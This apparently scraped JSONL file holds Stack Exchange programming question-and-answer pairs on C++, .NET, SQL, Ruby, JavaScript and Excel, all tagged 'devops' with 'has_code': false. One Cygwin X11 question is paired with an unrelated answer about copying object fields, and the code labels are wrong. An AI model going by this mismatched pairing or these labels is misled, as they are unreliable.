{"id": "hf_bb7b9975f280", "question": "<p>I need to use C++ to read in text with spaces, followed by a numeric value.</p>\n\n<p>For example, data that looks like:</p>\n\n<pre><code>text1\n1.0\ntext two \n2.1\ntext2 again\n3.1\n</code></pre>\n\n<p>can't be read in with 2 <code>\"infile &gt;&gt;\"</code> statements. I'm not having any luck with <code>getline</code> \neither. I ultimately want to populate a <code>struct</code> with these 2 data elements. Any ideas?</p>\n", "question_body": "", "answer": "If you can be sure that your input is well-formed, you can try something like this sample:\n```\n```\n#include <iostream>\n#include <sstream>\n\nint main()\n{\n    std::istringstream iss(\"text1 1.0 text two 2.1 text2 again 3.1\");\n\n    for ( ;; )\n    {\n        double x;\n        if ( iss >> x )\n        {\n            std::cout << x << std::endl;\n        }\n        else\n        {\n            iss.clear();\n            std::string junk;\n            if ( !(iss >> junk) )\n                break;\n        }\n    }\n}\n```\n```\nIf you do have to validate input (instead of just trying to parse anything looking like a double from it), you'll have to write some kind of parser, which is not hard but boring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.129555"}
{"id": "hf_d5ea7cb1d996", "question": "<p>We have a multi threaded java program. Multiple-threads will write to a file, and one thread will read from that file. I am looking for some design ideas. Is synchronization necessary?</p>\n", "question_body": "", "answer": "I would consider synchronization in this case. Imagine that 2 threads (t1 and t2) open the file at the same time and start writing to it. The changes performed by the first thread are overwrited by the second thread because the second thread is the last to save the changes to the file. When a thread t1 is writing to the file, t2 must wait until t1 finishes it's task before it can open it.\nAlso, if you care about the latest possible update of the file, you should synchronize the writing threads with the thread that reads the file so that if there's any thread writing the the file, the reading thread should wait.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.188309"}
{"id": "hf_5365291cc93f", "question": "<p>I need a way of calling a web page from inside my .net appliction. </p>\n\n<p>But i just want to send a request to the page and not worry about the response. </p>\n\n<p>As there are times when the response can take a while so i dont want it to hang the appliction. </p>\n\n<p>I have been trying in side the page_load event</p>\n\n<pre><code>WebClient webC = new WebClient();\nUri newUri = new Uri(\"http://localhost:49268/dosomething.aspx\");\nwebC.UploadStringAsync(newUri, string.Empty);\n</code></pre>\n\n<p>Even though its set to Async, it still seams to hang as the page wont finish rendering until the threads have finsished</p>\n", "question_body": "", "answer": "Look at\n```\nSystem.Net.WebClient\n```\n, specifically use the\n```\nDownloadDataAsync()\n```\nmethod to send the request without blocking the rest of the app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.211618"}
{"id": "hf_d715a75b6b60", "question": "<p>How can I accomplish this?</p>\n\n<pre><code>&lt;% for agent in @broker.agents %&gt;\n  ...\n  &lt;% if agent.cell %&gt;&lt;span class=\"cell-number\"&gt;Cell: &lt;%= agent.cell %&gt;&lt;/span&gt;&lt;% end %&gt;\n  ...\n&lt;% end %&gt;\n</code></pre>\n\n<p>I want to test to see if the agent has a cell number, and if so, display what's inside the conditional.  What I have currently doesn't seem to work; it just displays \"Cell: \".</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "```\n```\nif !agent.cell.blank?\n```\n```\nIt works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.247150"}
{"id": "hf_e5c8777cab14", "question": "<p>My rails model has code that is attempting to <code>define_method(method_name)</code> inside the model.</p>\n\n<p>I keep getting:</p>\n\n<pre><code>NoMethodError: undefined method `define_method'\n</code></pre>\n\n<p>What am I doing wrong? Am I doing this in the wrong place. I need this method attached to this model. Where else can I define this method?</p>\n\n<p>EDIT:\nFor those asking to see the code:</p>\n\n<pre><code>for field in rdev_fields\n  next if self.attributes.include?(field)\n  count = count + 1\n  rdev_hash[field.to_sym] = self.attributes[\"attribute#{count}\"]\n  if !self.respond_to?(field) then\n    define_method(\"#{field}\") do\n      self.send(\"attribute#{count}\".to_sym)\n    end\n  end\nend\n</code></pre>\n", "question_body": "", "answer": "was able to cobble this together. Very little understanding of what's actually going on though.\nMy instance method foo is opening the class and defining bar on it so that I can then call that on my instance. More experienced folks will let us know if this is opening a can of worms at the same time.\nWould be useful to know your specific use for this though.\n```\n```\nclass User < ActiveRecord::Base\n\n  def foo\n    (class << self; self; end).class_eval do\n      define_method(:bar) {puts \"bar\"}\n    end\n  end\nend\n\nu = User.first\nu.foo\nu.bar #=> \"bar\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.270268"}
{"id": "hf_f881f11556cc", "question": "<p>I'm looking to implement the Observer pattern in VB.NET or C# or some other first-class .NET language. I've heard that delegates can be used for this, but can't figure out why they would be preferred over plain old interfaces implemented on observers. So,</p>\n\n<ul>\n<li>Why should I use delegates instead of defining my own interfaces and passing around references to objects implementing them?</li>\n<li>Why might I want to avoid using delegates, and go with good ol'-fashioned interfaces?</li>\n</ul>\n", "question_body": "", "answer": "A delegate is, in effect, passing around a reference to a method, not an object... An Interface is a reference to a subset of the methods implemented by an object...\nIf, in some component of your application, you need access to more than one method of an object, then define an interface representing that subset of the objects' methods, and assign and implement that interface on all classes you might need to pass to this component... Then pass the instances of these classes by that interface instead of by their concrete class..\nIf, otoh, in some method, or component, all you need is one of several methods, which can be in any number of different classes, but all have the same signature, then you need to use a delegate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.316844"}
{"id": "hf_541fbd0c0551", "question": "<p>Anyone getting this error when using the new free chart controls MS bought from Dundas?</p>\n\n<p>\"Error executing child request for ChartImg.axd\"</p>\n\n<p>On the MSDN forum they suggested it was my web.config:\n <a href=\"http://social.msdn.microsoft.com/Forums/en-US/MSWinWebChart/thread/1dc4b352-c9a5-49dc-8f35-9b176509faa1/\" rel=\"noreferrer\">MSDN forum post</a></p>\n\n<p>So far that hasn't fixed the problem though.  Any other ideas?</p>\n", "question_body": "", "answer": "I posted a way I fixed this problem on the MSDN forum:\nWell I still don't know why I was getting the exception but I seem to have found a workaround.  I did an experiment where I took the supposed offending web.config and copied it to a new project where I added a new web form and chart control and the chart control rendered fine with the \"UseHttpHandler\" option.  This led me to believe that it wasn't actually the web.config that was the problem in my case, so I went back to the original project and added a chart to another web form as an experiment, and it worked!  Even more surprising was that after that I went to the offending page and it worked too!  Then I took the new chart off the other page and checked the original offending page and it was broken again.  Then I found out if I put a chart control on any page before the offending page, it would work, otherwise it threw the exception.  These controls are so cool though that I didn't have a problem finding another page to put one on in the path of the offending page :)\nThis fixed the problem but if anyone has any theory why I'd be interested...maybe a bug?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.340251"}
{"id": "hf_cbd95ba17ee0", "question": "<p>I am making a mp3 id3tag editor, and a regex is not matching.\nCould anyone help me please?\nmy code:</p>\n\n<pre><code>arquivo = \"[coletanea] album [CD #] [faixa] [artista] musica.mp3\"\n\nr = New Regex(\"^\\[(?&lt;1&gt;[^\\]]+?)\\]\\s*(?&lt;2&gt;[\\w\\s]+)\\s*\\[CD\\s*(?&lt;3&gt;\\d+)\\]\\s*\\[(?&lt;4&gt;\\d+)\\]\\s*\\[(?&lt;5&gt;[^\\]]+)\\]\\s*(?&lt;6&gt;.+)\", RegexOptions.Compiled)\nm = r.Match(Mid(arquivo, 1, Len(arquivo) - 4))\n        If m.Success Then\n            mAuthor = Trim(m.Groups(5).ToString)\n            mWM_AlbumTitle = Trim(m.Groups(2).ToString)\n            mWM_TrackNumber = Trim(m.Groups(4).ToString)\n            mTitle = Trim(m.Groups(6).ToString)\n            mWM_PartOfSet = Trim(m.Groups(3).ToString)\n            mMW_AlbumArtist = Trim(m.Groups(1).ToString)\n        End If\n</code></pre>\n", "question_body": "", "answer": "That's because your string will never match the regexp you are using.\nThe regexp expects a number instead of # and a number instead of 'faixa'\nTry this, for example:\n```\n```\n\"[coletanea] album [CD 20] [89] [artista] musica.mp3\"\n```\n```\nIf you wish to allow for any character instead of just numbers, replace \\d for . in the groups 3 and 4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.445658"}
{"id": "hf_46d41061c1ba", "question": "<p>I am looking to do the following (see pseudo code); I want to select 4 rows for each gd.id (7, 11 or 9). I've incorrectly use limit because that only brings up 4 rows in total. Anyone have an idea on how to change this query to accomplish my goal?    </p>\n\n<pre><code>SELECT gd.gid, gd.aid, li.ads, li.til\nFROM gd\nJOIN li ON li.a_id = gd.aid\nWHERE gd.gid\nIN (\n'7', '11', '9'\n)\nORDER BY li.timestamp DESC\nLIMIT 4 #FOR EACH ;-)\n</code></pre>\n\n<p>Thank you!</p>\n\n<p>Ice</p>\n\n<p>p.s. Maybe sometype of group_by?</p>\n", "question_body": "", "answer": "Okay I'm posting this second answer now that I understand the relationship between your tables.\n```\n```\nCREATE TABLE gd (\n  aid INT AUTO_INCREMENT PRIMARY KEY,\n  gid INT\n);\n\nINSERT INTO gd (gid) VALUES\n  (7), (7), (7),                -- fewer than four rows\n  (9), (9), (9), (9),           -- exactly four rows\n  (11), (11), (11), (11), (11); -- greater than four rows\n\nCREATE TABLE li (\n  a_id INT AUTO_INCREMENT PRIMARY KEY,\n  ads VARCHAR(10),\n  til VARCHAR(10),\n  `timestamp` TIMESTAMP\n);\n\nINSERT INTO li (ads, til, `timestamp`) VALUES\n  ('foo1', 'bar1', '2008-01-01'),\n  ('foo2', 'bar2', '2008-02-01'),\n  ('foo3', 'bar3', '2008-03-01'),\n  ('foo4', 'bar4', '2008-04-01'),\n  ('foo5', 'bar5', '2008-05-01'),\n  ('foo6', 'bar6', '2008-06-01'),\n  ('foo7', 'bar7', '2008-07-01'),\n  ('foo8', 'bar8', '2008-08-01'),\n  ('foo9', 'bar9', '2008-09-01'),\n  ('foo10', 'bar10', '2008-10-01'),\n  ('foo11', 'bar11', '2008-11-01'),\n  ('foo12', 'bar12', '2008-12-01');\n```\n```\nSo you want the top four rows per value of\n```\ngd.gid\n```\n, depending on the\n```\ntimestamp\n```\nvalue in the associated table\n```\nli\n```\n.\n```\n```\nSELECT g1.gid, g1.aid, l1.ads, l1.til, l1.`timestamp`\nFROM gd AS g1\n  INNER JOIN li AS l1 ON (g1.aid = l1.a_id)\n  LEFT OUTER JOIN (\n    gd AS g2 INNER JOIN li AS l2 ON (g2.aid = l2.a_id)\n  ) ON (g1.gid = g2.gid AND l1.`timestamp` <= l2.`timestamp`)\nWHERE g1.gid IN ('7', '11', '9')\nGROUP BY g1.aid\nHAVING COUNT(*) <= 4\nORDER BY g1.gid ASC, l1.`timestamp` DESC;\n```\n```\nThe output is the following:\n```\n```\n+------+-----+-------+-------+---------------------+\n| gid  | aid | ads   | til   | timestamp           |\n+------+-----+-------+-------+---------------------+\n|    7 |   3 | foo3  | bar3  | 2008-03-01 00:00:00 | \n|    7 |   2 | foo2  | bar2  | 2008-02-01 00:00:00 | \n|    7 |   1 | foo1  | bar1  | 2008-01-01 00:00:00 | \n|    9 |   7 | foo7  | bar7  | 2008-07-01 00:00:00 | \n|    9 |   6 | foo6  | bar6  | 2008-06-01 00:00:00 | \n|    9 |   5 | foo5  | bar5  | 2008-05-01 00:00:00 | \n|    9 |   4 | foo4  | bar4  | 2008-04-01 00:00:00 | \n|   11 |  12 | foo12 | bar12 | 2008-12-01 00:00:00 | \n|   11 |  11 | foo11 | bar11 | 2008-11-01 00:00:00 | \n|   11 |  10 | foo10 | bar10 | 2008-10-01 00:00:00 | \n|   11 |   9 | foo9  | bar9  | 2008-09-01 00:00:00 | \n+------+-----+-------+-------+---------------------+\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.517021"}
{"id": "hf_88df149bea49", "question": "<p>I have two classes that are associated with a one-to-one mapping:</p>\n\n<pre><code>&lt;class name=\"Employee\" table=\"Employees\"&gt;\n  ...\n  &lt;one-to-one name=\"Address\" class=\"AddressInfo\"&gt;\n  ...\n&lt;/class&gt;\n</code></pre>\n\n<p>I would like to use a criteria expression to get only Employees where the the associated Address class is not null, something like this (which I know doesn't work):</p>\n\n<pre><code>IList employeesWithAddresses = sess.CreateCriteria(typeof(Employee))\n    .Add( Expression.IsNotNull(\"Address\") )\n    .List();\n</code></pre>\n\n<p>I guess this is either a really difficult question or almost no one has tried to do this?</p>\n", "question_body": "", "answer": "Have you tried creating an alias for the Address property and checking if the ID/primary key of the Address is not null?\nSomething like:\n```\n```\nIList employeesWithAddresses = sess.CreateCriteria(typeof(Employee))\n    .CreateCriteria(\"Address\", \"address\").Add( Expression.IsNotNull(\"Id\") )\n    .List();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.554169"}
{"id": "hf_30b73c1ec1ce", "question": "<p>I am a recent college graduate working for a large corporation that has an aging workforce. I am curious for peoples experiences on working with an age gap preferably from both sides. </p>\n\n<p>Examples Issues I have encountered so far: </p>\n\n<ul>\n<li>Agile practices vs Waterfall</li>\n<li>Collaboration between programmers vs individuality</li>\n<li>Working early in the morning vs late at night </li>\n</ul>\n\n<p>I learned primarily agile programming in school while the project I am on (and most of the developers are used to waterfall)</p>\n\n<p>I am used to collaborating with classmates and friends on projects while I tend to see older programmers like to do their own thing. I feel like I pester them asking them questions.</p>\n\n<p>I find myself more of a night programmer, but most of my older colleagues are early morning (5am)</p>\n\n<p>Any experiences on the age gap in the technology work is relevant.</p>\n", "question_body": "", "answer": "Waterfall\nis an example of a flawed, non-working software development model.  Unfortunately, it doesn't sound like you're in a position to point this out to your aging co-workers.  :)\nI recommend you keep asking questions to different people until you find someone (or a few) who seem interested in mentoring you.  No education or training that I've received in my career has ever been as valuable as the advice of a few really good mentors that I've had.\nOnce you find a mentor, I suggest you try to work around their schedule, at least for awhile.  Don't feel too bad about asking questions, since that's the only way you can learn (Google it, or ask your question on here first, so you don't ask them\ntoo\nmany easy questions).\nGood luck!\nEDIT:  Since only the first two sentences of my original answer seem to be getting read, I thought I'd better provide some more links to support what I said.\nThe Staggered Iterative Waterfall (Anti-)Pattern\nWaterfall development model considered harmful\nDon’t draw diagrams of wrong practices - or: Why people still believe in the Waterfall model\nManaging the development of Large Software Systems (PDF)\nNote that the last one is Royce's original paper.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.614483"}
{"id": "hf_4ea20c2e9236", "question": "<p>I've seen a couple of web pages say that <code>a = b || 'blah'</code> should assign <code>'blah'</code> to <code>a</code> if <code>b</code> is <code>undefined</code> or <code>null</code>.  But if I type that into Firebug or use it in code, it complains that <code>b</code> is not defined, at the list on FF3/win.  Any hints?</p>\n<p>Edit: I'm looking for the case where <code>b</code> may not exist at all.  For example, a DOM node without an <code>id</code>.</p>\n", "question_body": "", "answer": "If b existed, and was false, null, etc, then it works in the way that you would expect. All you'll need to do is on the line above that, put\n```\nvar b = null\n```\n;\nThis makes sense if you think about it. It basically does something like this...\n```\n```\na = function(){ if(b){return b;} else{ return 'blah' } }();\n```\n```\nNote it is checking that the value of b is truthy... if b doesn't exist, you get an exception.\nRegarding Undefined variables\n\"Undefined\" in javascript doesn't mean 'variable doesn't exist'. It means \"the value of the variable is the special value of\n```\nundefined\n```\n\". Example:\n```\n```\nalert(nosuchvariable);\n=> throws exception\n\nvar somevariable; // note it's never assigned\nalert(somevariable);\n=> This alerts with 'undefined'\n```\n```\nRegarding Checking if variables exist.\nSo if we try to read\n```\nb\n```\nand there is no such variable as b, we get an exception. If we're trying to find out if b is defined, then this isn't helpful.\nYou can see if global variables exist by checking the top-level\n```\nwindow\n```\nobject. All global variables are actually just fields in the\n```\nwindow\n```\nobject. Example:\n```\n```\nfoo = 'Hello';\nalert( window.foo );\n=> alerts 'Hello'\n```\n```\nBecause you know the window object already exists, you can check it's fields.\nChecking for fields that don't exist in javascript will give you\n```\nundefined\n```\nand won't crash, so you can then do the coalesce, or put the\n```\nundefined\n```\nin a variable or whatever\nFor\nlocal\nvariables (things declared with\n```\nvar\n```\n),\nyou can't check for their existence.\nthey don't \"live\" anywhere in the way that global variables \"live\" in the window object, and any normal attempt to reference one will cause an exception: eg:\n```\n```\nalert(a);\n=> exception because a is meaningless\nalert(d45pwiu4309m9rv43);\n=> exception because that is equally meaningless\n```\n```\nThere is however one exception (that I know of, thanks J c in the comments), the\n```\ntypeof\n```\noperator. If you try and get the type of something that doesn't exist, it\nwon't\ncrash, it will return\nthe string\n```\n\"undefined\"\n```\n.\nThis gives you a way of checking for non-existent local variables. eg:\n```\n```\nif( typeof(djfsd) === \"undefined\" )\n  alert('no such variable');\n```\n```\nRegarding DOM elements that don't exist\nThere have been several comments mentioning DOM elements without ID's and so forth...\nThe fact that it's a DOM element isn't really relevant. Think of the DOM as a database or a file, and an element as a row in that database or word in that file. In order to\ndo\nanything with it, you have to go searching through the database, find the right row, and pull it's data out. The data gets put into a javascript object. You then access it by manipulating that object, and maybe putting the object in a variable if you like. Example:\n```\n```\ndocument.getElementById('foo');\n```\n```\nthis goes into the dom and looks for an element with an ID of 'foo'. If it finds one, it puts some information about that element into a javascript object, and then hands that object back to you. If it can't find the element, it will hand you back\n```\nnull\n```\n, but all the normal rules still apply (you can stick the\n```\nnull\n```\nin a variable, or whatever).\nIt doesn't affect the coalesce at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.669651"}
{"id": "hf_b659f82706a6", "question": "<p>I am working on a Perl script to read CSV file and do some calculations.\nCSV file has only two columns, something like below.</p>\n\n<pre><code>One Two\n1.00 44.000\n3.00 55.000\n</code></pre>\n\n<p>Now this CSV file is very big ,can be from 10 MB to 2GB.</p>\n\n<p>Currently I am taking CSV file of size  700 MB. I tried to open this file in notepad, excel but it looks like no software is going to open it.</p>\n\n<p>I want to read may be last 1000 lines from CSV file and see the values.\nHow can I do that? I cannot open file in notepad or any other program.</p>\n\n<p>If I write a Perl script then I need to process complete file to go to end of file and then read last 1000 lines.</p>\n\n<p>Is there any better way to that? I am new to Perl and any suggestions will be appreciated. </p>\n\n<p>I have searched net and there are some scripts available like <a href=\"https://metacpan.org/pod/File::Tail\" rel=\"nofollow noreferrer\"><code>File::Tail</code></a> but I don't know they will work on windows ?</p>\n", "question_body": "", "answer": "In *nix, you can use the tail command.\n```\n```\ntail -1000 yourfile | perl ...\n```\n```\nThat will write only the last 1000 lines to the perl program.\nOn Windows, there are\ngnuwin32\nand\nunxutils\npackages both have\n```\ntail\n```\nutility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.778936"}
{"id": "hf_28a4b4a67168", "question": "<p>According to the adobe flex docs: <a href=\"http://livedocs.adobe.com/flex/3/html/help.html?content=controls_15.html\" rel=\"nofollow noreferrer\">http://livedocs.adobe.com/flex/3/html/help.html?content=controls_15.html</a></p>\n\n<p>Using an image multiple times</p>\n\n<p>You can use the same image multiple times in your application by using the normal image import syntax each time. Flex only loads the image once, and then references the loaded image as many times as necessary.</p>\n\n<p>However, in testing we have found that if you request the same image (same url, etc.) in IE flash 9/10 a new http request will not be issued, but with Firefox, Safari (PC and MAC) a new request is always issued.</p>\n\n<p>I want to prevent the image from being pulled from the server each time I try and use it anyone have any idea why this is working only in IE?</p>\n", "question_body": "", "answer": "The best way to load an image a single time and then reuse that image multiple times in a flex application is to embed the image and tie it to a class representation, then just reference that class from then on.\nExample:\n```\n```\n[Embed(source=\"myImage.jpg\")]\n[Bindable]\npublic var myImageClass:Class;\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.802864"}
{"id": "hf_d7addf557680", "question": "<p>I am looking to find out the logic , if any , which shrinks hashtable in c# when elements are removed from it.</p>\n\n<p>Regards\nHarish</p>\n", "question_body": "", "answer": "The only indication of size changes for a hashtable in the documentation is when the load factor is exceeded and the size of the hashtable is increased.  There is no mention of a hastable ever shrinking.\nThere is some further detail of the load factor on\nMSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.826301"}
{"id": "hf_31b49de29ee6", "question": "<p>Assuming this is a multi-user system</p>\n", "question_body": "", "answer": "I don't know that it's inherently good or bad.  If there's no reason to centralize the data access from a business standpoint, having a client app talk directly to the database isn't a problem.  You'll want to build a decent data access layer regardless of whether it's done in the client or through a centralized data access server.\nYou mentioned multi-user, depending on the data and usage you may have transactional issues to deal with which might be an argument for centralizing things, but they can be handled from multiple clients as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.920279"}
{"id": "hf_28c5f4ecba4f", "question": "<p>I've scoured the groovy doc and haven't found an analogue, but things there are organized a bit haphazardly. I'm switching from beanshell to groovy and was using the source(\"fileloc\") method in beanshell to inline-include other, utility beanshell scripts for reuse. Is there a standard function to do this in groovy or a best practice?</p>\n", "question_body": "", "answer": "The reason you're not finding this is because Groovy is compiled.  Your Groovy code gets compiled into Java bytecode that gets run by the JVM right along side any Java code in your app.  This is why things like writing Groovified unit tests for large bodies of Java code requires zero extra effort.\nThe BeanShell is a Java-like\ninterpreted\nlanguage, so slurping in another got of code at run time is no big deal.\nThat said, you might be interested in\ngroovysh\nand its\n```\nload\n```\ncommand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.944801"}
{"id": "hf_4a30f4e0adde", "question": "<p>A co-worker asked me how the word \"Nuke\" relates to CMS? To be honest I never thought about it, and there wasn't any information on the web that I could find.</p>\n\n<p>Francisco Burzi wrote that his Perl script that he used to manage content was called NUKE. His knowledge of that system fueled his adaptation of thatware to phpNuke. </p>\n\n<p>Does anyone know what NUKE stands for and how it is related to content management?</p>\n", "question_body": "", "answer": "From the faq (\nhttp://www.dotnetnuke.com/Resources/Knowledge/FrequentlyAskedQuestions/tabid/546/Default.aspx\n)\n\"The new name was chosen to reflect\n  the applications .NET (DOTNET)\n  framework, and coupled with the term\n  “nuke” (due to *nuke’s inherent,\n  industry-recognized inclusion in\n  several existing open source portal\n  initiatives.)\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:57.993375"}
{"id": "hf_28ccbba8fd9b", "question": "<p>Parameterized Queries in .Net always look like this in the examples:</p>\n\n<pre><code>SqlCommand comm = new SqlCommand(@\"\n   SELECT * \n   FROM   Products \n   WHERE  Category_ID = @categoryid\n\", \n   conn);\ncomm.Parameters.Add(\"@categoryid\", SqlDbType.Int);\ncomm.Parameters[\"@categoryid\"].Value = CategoryID;\n</code></pre>\n\n<p>But I'm running into a brick wall trying to do the following:</p>\n\n<pre><code>SqlCommand comm = new SqlCommand(@\"\n   SELECT * \n   FROM   Products \n   WHERE  Category_ID IN (@categoryids) \n      OR  name LIKE '%@name%'\n\", \n   conn);\ncomm.Parameters.Add(\"@categoryids\", SqlDbType.Int);\ncomm.Parameters[\"@categoryids\"].Value = CategoryIDs;\ncomm.Parameters.Add(\"@name\", SqlDbType.Int);\ncomm.Parameters[\"@name\"].Value = Name;\n</code></pre>\n\n<p>Where</p>\n\n<ul>\n<li>CategoryIDs is a comma separated list of numbers \"123,456,789\" (without quotes)</li>\n<li>Name is a string, possibly with single quotes and other bad characters</li>\n</ul>\n\n<p>What's the right syntax for this?</p>\n", "question_body": "", "answer": "You need \"%\" in value of sql parameter.\n```\n```\nSqlCommand comm = new SqlCommand(\"SELECT * FROM Products WHERE Category_ID IN (@categoryid1, @categoryid2) OR name LIKE @name\", conn);\ncomm.Parameters.Add(\"@categoryid1\", SqlDbType.Int);\ncomm.Parameters[\"@categoryid1\"].Value = CategoryID[0];\ncomm.Parameters.Add(\"@categoryid2\", SqlDbType.Int);\ncomm.Parameters[\"@categoryid2\"].Value = CategoryID[1];\ncomm.Parameters.Add(\"@name\", SqlDbType.NVarChar);\ncomm.Parameters[\"@name\"].Value = \"%\" + Name + \"%\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.017433"}
{"id": "hf_752aa9cdbbd6", "question": "<p>I just got burned by the <a href=\"http://cygwin.com/ml/cygwin-xfree-announce/2008-11/msg00000.html\" rel=\"nofollow noreferrer\">Cygwin X11R7.4 update</a> and I find the official mailing lists hostile and clunky.  So I thought I'd ask here.</p>\n\n<p>If you have survived the upgrade (or at least made progress on fixing things), what steps did you take to make things work?</p>\n", "question_body": "", "answer": "I ran into this same issue, I couldn't come up with an elegant solution. But the only solution I found was to either use \"stitching,\" or to use reflection.\nStitching looks something like this.\n```\n```\nPerson existingPerson - DB.GetPerson(1);\nexistingPerson.BirthDate = newPerson.BirthDate;\nexistingPerson.JobTitle = newPerson.JobTitle;\n```\n```\nI once read something about using a callback but I can't find it for the life of me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.077673"}
{"id": "hf_0d471d6b939f", "question": "<p>Good afternoon,</p>\n\n<p>I have a web query in <code>Excel 2002</code> going against a web page that returns a date column.  The dates are returned as <code>DD/MM/YYYY</code>, as I would like to show them in my spreadsheet.  My machine running Excel has its regional settings set to en-GB, and the only language set under Internet Options is UK English.</p>\n\n<p>Nevertheless, the web query pulls the dates as <code>MM/DD/YYYY</code>, which is misinterpreted by Excel.</p>\n\n<p>How can I get the Web Query to return the dates in my regional settings, <code>MM/DD/YYYY</code>?</p>\n", "question_body": "", "answer": "Maybe you are lucky and Excel understands either the HTML\n```\nlang\n```\nattribute or\n```\n<meta http-equiv=\"content-language\" content=\"...\">\n```\nmeta tag. To be honest - my guess is that it doesn't make a difference.\nIf you have control over the web site, you can try to add them and see if it makes a difference. OTOH - if you\nhad\ncontrol over the web page, you could change the date format.\nThe alternative would be to disable date recognition entirely and post-process it by hand after the query. To do this, recreate the web query and in the \"New Web Query\" dialog box, click the \"Options...\" button in the upper right. There is a \"Disable date recognition\" checkbox.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.124619"}
